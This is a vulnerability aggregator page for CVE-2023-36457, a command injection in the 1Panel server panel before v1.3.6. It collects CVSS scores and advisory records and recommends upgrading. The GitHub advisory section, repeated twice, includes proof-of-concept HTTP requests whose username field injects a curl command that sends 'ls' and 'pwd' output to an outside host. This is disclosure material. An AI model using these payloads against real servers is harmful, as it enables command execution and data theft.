CVE-2023-36457
1Panel vulnerable to command injection when adding container repositories
1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
1Panel vulnerable to command injection when adding container repositories
1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.
- Record
CVE-2023-36457- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-77
- Updated
- 2026-11-02
EUVDEUVD-2023-2122
1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.
- Record
EUVD-2023-2122- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-q2mx-gpjf-3h8x
1Panel vulnerable to command injection when adding container repositories
Impact
The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.
- Vulnerability analysis.
backend\app\api\v1\image_repo.go#create
backend\app\service\image_repo.go#CheckConn
- vulnerability reproduction.
POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
- Using update can be triggered multiple times.
POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
Affected versions: <= 1.3.5
Patches
The vulnerability has been fixed in v1.3.6.
Workarounds
It is recommended to upgrade the version to v1.3.6.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/1Panel-dev/1Panel Email us at [email protected]
- Record
GHSA-q2mx-gpjf-3h8x- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
NVD
1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.
- Record
CVE-2023-36457- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-77
- Updated
- 2026-11-02
OSV
1Panel vulnerable to command injection when adding container repositories
1Panel is an open source Linux server operation and maintenance management panel. Prior to version 1.3.6, an authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories. The vulnerability has been fixed in v1.3.6.
- Record
CVE-2023-36457- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-77
- Updated
- 2026-11-02
OSVGHSA-q2mx-gpjf-3h8x
1Panel vulnerable to command injection when adding container repositories
Impact
The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.
- Vulnerability analysis.
backend\app\api\v1\image_repo.go#create
backend\app\service\image_repo.go#CheckConn
- vulnerability reproduction.
POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
- Using update can be triggered multiple times.
POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN:
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}
Affected versions: <= 1.3.5
Patches
The vulnerability has been fixed in v1.3.6.
Workarounds
It is recommended to upgrade the version to v1.3.6.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/1Panel-dev/1Panel Email us at [email protected]
- Record
GHSA-q2mx-gpjf-3h8x- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-74, CWE-77
- Updated
- 2026-11-02
OSVGO-2023-1887 No score
1Panel vulnerable to command injection when adding container repositories in github.com/1Panel-dev/1Panel
1Panel vulnerable to command injection when adding container repositories in github.com/1Panel-dev/1Panel
- Record
GO-2023-1887- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/1Panel-dev/1PanelGo |
before 1.3.6 | 1.3.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-36457 is a medium vulnerability (CVSS 6.3) in 1panel-dev 1panel, published July 5, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.31%, the 83rd percentile. Fixed in github.com/1Panel-dev/1Panel 1.3.6.
References
github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x
nvd.nist.gov/vuln/detail/CVE-2023-36457